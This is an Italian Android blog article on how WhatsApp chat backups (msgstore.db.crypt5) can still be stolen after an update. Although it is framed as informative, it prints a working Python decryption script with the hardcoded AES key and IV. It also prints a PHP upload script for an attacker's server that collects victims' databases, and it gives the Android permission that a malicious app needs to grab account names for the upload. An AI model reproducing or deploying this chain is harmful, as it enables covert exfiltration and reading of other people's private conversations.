Aggiornamento WhatsApp: rubare le conversazioni è ancora possibile
Android Blog Italia.
Abbiamo già visto come sia possibile rubare le conversazioni di WhatsApp sfruttando la falla di sicurezza riguardante il backup del database salvato dall’applicazione. Si tratta di un articolo puramente a scopo informativo e, per chi se lo chiedesse, non si tratta di un bug. Infatti, se si trattasse di un errore, come l’etica richiede, la società sarebbe stata subito avvisata del problema (ne è comunque a conoscenza), ma qui ci ritroviamo di fronte ad una scelta di progettazione interna, con la quale i progettisti di WhatsApp hanno preferito l’usabilità alla sicurezza.
Difatti, l’azienda si è già esposta in merito, affermando che in circostanze normali l’applicazione non è a rischio, ma lo diventa se si danno i permessi ad un’applicazione maligna, il ché fa ricadere la responsabilità sull’utente e sui permessi che concede alle applicazioni. Il ragionamento, a dirla tutta, non è sbagliato, ma bisogna ammettere che le applicazioni sospette sono sempre state presenti sul Play Store, quindi l’approccio descritto nell’articolo precedente (e anche in questo) non sono poi così esagerati.
Ad ogni modo, la famosa applicazione di messaggistica istantanea è stata aggiornata nei giorni scorsi. Non è ben chiaro se l’aggiornamento è dovuto proprio alla falla di sicurezza scovata in queste settimane (ma sempre stata presente), tuttavia l’applicazione continua ad essere a rischio. Con il nuovo aggiornamento, viene salvato sulla scheda SD il database msgstore.db.crypt5 che, anziché utilizzare una chiave di crittografia per tutti i dispositivi, utilizza il nome dell’account utente per creare una chiave di cifratura unica.
Lo schema, dunque, è cambiato, ma ciò significa semplicemente che dobbiamo ricavare anche il nome dell’account utente per decifrare il database. Morale: le conversazioni di WhatsApp continuano ad essere a rischio. A decifrare i database crypt5 ci pensa uno script Python (che potete vedere di seguito), sviluppato dai ragazzi di WhatApp Xtract:
import sys import hashlib import StringIO from M2Crypto import EVP key = bytearray([141, 75, 21, 92, 201, 255, 129, 229, 203, 246, 250, 120, 25, 54, 106, 62, 198, 33, 166, 86, 65, 108, 215, 147]) iv = bytearray([0x1E,0x39,0xF3,0x69,0xE9,0xD,0xB3,0x3A,0xA7,0x3B,0x44,0x2B,0xBB,0xB6,0xB0,0xB9]) def decrypt(db,acc): fh = file(db,'rb') edb = fh.read() fh.close() m = hashlib.md5() m.update(acc) md5 = bytearray(m.digest()) for i in xrange(24): key[i] ^= md5[i&0xF] cipher = EVP.Cipher('aes_192_cbc', key=key, iv=iv, op=0) sys.stdout.write(cipher.update(edb)) sys.stdout.write(cipher.final()) if __name__ == '__main__': if len(sys.argv) != 3: print 'usage %s <db> <accountname> > decrypted.db' % sys.argv[0] else: decrypt(sys.argv[1],sys.argv[2])
Sulla stessa linea dell’articolo precedente, vanno effettuati alcuni cambiamenti anche allo script PHP presente sul nostro web server in modo che salvi i file con il nome utente grazie all’utilizzo di $_GET['n'].
<?php // Upload script to upload Whatsapp database // This script is for testing purposes only. $uploaddir = "/var/www/whatsapp/"; if ($_FILES["file"]["error"] > 0) { echo "Error: " . $_FILES["file"]["error"] . "<br>"; } else { $uploadfile = $uploaddir . $_GET['n'] . "." . basename($_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile); } ?>
Un’altra modifica molto importante va fatta nel manifesto Android dell’applicazione che, questa volta, deve richiedere i permessi anche per leggere i nomi degli account:
<uses-permission android:name="android.permission.GET_ACCOUNTS" />
Naturalmente, va modificato anche il codice sorgente del file MainActivity.java in modo che ottenga il nome dell’account e lo utilizzi durante l’upload sul server. Potete scaricare il codice sorgente qui.
Quindi con alcune modifiche e il nuovo script Python è ancora possibile leggere le conversazioni altrui. Com’è potuto succedere questo? WhatsApp ha fatto passi da gigante negli ultimi anni e questo è stato possibile grazie anche all’elevata usabilità e, probabilmente, un nuovo modello di sicurezza non è mai stato pensato dagli sviluppatori.
È sempre possibile trovare una soluzione a tutto questo, basterebbe modificare lo schema di cifratura utilizzato. Con il nuovo aggiornamento abbiamo già visto qualcosa di nuovo, ma non è abbastanza. Con il coinvolgimento di Facebook (sono sempre stati più concentrati sulla sicurezza) è possibile che, nelle prossime settimane, assisteremo a svolte importanti per ciò che concerne la sicurezza di WhatsApp, quindi non ci resta che sperare negli aggiornamenti futuri.
Aggiornamento WhatsApp: rubare le conversazioni è ancora possibile
Android Blog Italia.